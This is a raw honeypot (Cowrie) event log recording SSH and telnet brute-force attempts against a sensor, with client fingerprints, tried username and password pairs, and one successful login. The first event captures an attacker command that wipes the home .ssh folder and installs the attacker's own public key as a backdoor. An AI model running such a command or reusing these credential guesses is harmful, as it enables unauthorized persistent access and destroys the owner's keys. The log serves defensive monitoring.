{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:22.726635Z","src_ip":"195.86.192.66","session":"478bd624207b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:22.956544Z","src_ip":"195.86.192.66","session":"478bd624207b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:22.960222Z","src_ip":"195.86.192.66","session":"478bd624207b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":55990,"dst_ip":"10.17.0.5","dst_port":22,"session":"7713df34bff5","protocol":"ssh","message":"New connection: 195.86.192.66:55990 (10.17.0.5:22) [session: 7713df34bff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:23.174666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:23.178894Z","src_ip":"195.86.192.66","session":"7713df34bff5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:23.400685Z","src_ip":"195.86.192.66","session":"7713df34bff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":58394,"dst_ip":"10.17.0.5","dst_port":22,"session":"5853335a188f","protocol":"ssh","message":"New connection: 222.108.100.117:58394 (10.17.0.5:22) [session: 5853335a188f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:24.091972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:24.096424Z","src_ip":"222.108.100.117","session":"5853335a188f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:24.300586Z","src_ip":"222.108.100.117","session":"5853335a188f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:24.325168Z","src_ip":"195.86.192.66","session":"7713df34bff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Admin123","message":"login attempt [postgres/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:25.152646Z","src_ip":"222.108.100.117","session":"5853335a188f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:25.550306Z","src_ip":"195.86.192.66","session":"7713df34bff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":55992,"dst_ip":"10.17.0.5","dst_port":22,"session":"b901d62a4175","protocol":"ssh","message":"New connection: 195.86.192.66:55992 (10.17.0.5:22) [session: b901d62a4175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:25.770743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:25.775255Z","src_ip":"195.86.192.66","session":"b901d62a4175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:26.000369Z","src_ip":"195.86.192.66","session":"b901d62a4175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:26.358538Z","src_ip":"222.108.100.117","session":"5853335a188f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:26.932785Z","src_ip":"195.86.192.66","session":"b901d62a4175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:27.161142Z","src_ip":"195.86.192.66","session":"478bd624207b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:27.166185Z","src_ip":"195.86.192.66","session":"b901d62a4175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00828170776367,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:34.083710Z","src_ip":"170.64.224.25","session":"1d089b7c717f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":52052,"dst_ip":"159.203.135.109","dst_port":22,"session":"c32972350a6d","protocol":"ssh","message":"New connection: 157.230.18.133:52052 (159.203.135.109:22) [session: c32972350a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:39.675917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:39.680113Z","src_ip":"157.230.18.133","session":"c32972350a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:39.764764Z","src_ip":"157.230.18.133","session":"c32972350a6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sweden","password":"123456","message":"login attempt [sweden/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:40.135119Z","src_ip":"157.230.18.133","session":"c32972350a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:41.223404Z","src_ip":"157.230.18.133","session":"c32972350a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38168,"dst_ip":"159.203.135.109","dst_port":23,"session":"818f5242feea","protocol":"telnet","message":"New connection: 170.64.224.25:38168 (159.203.135.109:23) [session: 818f5242feea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:55.581117Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41426,"dst_ip":"159.203.135.109","dst_port":23,"session":"965ce3fa4345","protocol":"telnet","message":"New connection: 170.64.224.25:41426 (159.203.135.109:23) [session: 965ce3fa4345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:58.493277Z"}
{"eventid":"cowrie.session.closed","duration":20.109397172927856,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:18.602555Z","src_ip":"170.64.224.25","session":"965ce3fa4345","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":55830,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecd6c03181a0","protocol":"ssh","message":"New connection: 5.182.83.231:55830 (10.17.0.5:22) [session: ecd6c03181a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:21.924998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:21.965386Z","src_ip":"5.182.83.231","session":"ecd6c03181a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:22.081159Z","src_ip":"5.182.83.231","session":"ecd6c03181a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woofwoof","message":"login attempt [root/woofwoof] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:22.540690Z","src_ip":"5.182.83.231","session":"ecd6c03181a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:23.659313Z","src_ip":"5.182.83.231","session":"ecd6c03181a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46726,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4601ba360e8","protocol":"telnet","message":"New connection: 170.64.224.25:46726 (159.203.135.109:23) [session: f4601ba360e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:28.944655Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":60004,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa3bb4929ea6","protocol":"ssh","message":"New connection: 132.148.142.226:60004 (10.17.0.5:22) [session: aa3bb4929ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:32.013227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:32.017627Z","src_ip":"132.148.142.226","session":"aa3bb4929ea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:32.083279Z","src_ip":"132.148.142.226","session":"aa3bb4929ea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sweden","password":"Stockholm#Ethereum$Cr@zy!","message":"login attempt [sweden/Stockholm#Ethereum$Cr@zy!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:32.284984Z","src_ip":"132.148.142.226","session":"aa3bb4929ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:33.354399Z","src_ip":"132.148.142.226","session":"aa3bb4929ea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":32932,"dst_ip":"159.203.135.109","dst_port":22,"session":"7023e2b13800","protocol":"ssh","message":"New connection: 175.118.127.138:32932 (159.203.135.109:22) [session: 7023e2b13800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:33.829788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:33.833776Z","src_ip":"175.118.127.138","session":"7023e2b13800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:34.012724Z","src_ip":"175.118.127.138","session":"7023e2b13800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#123abc","message":"login attempt [root/!@#123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:34.766203Z","src_ip":"175.118.127.138","session":"7023e2b13800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:24:35.948102Z","src_ip":"175.118.127.138","session":"7023e2b13800","protocol":"ssh"}
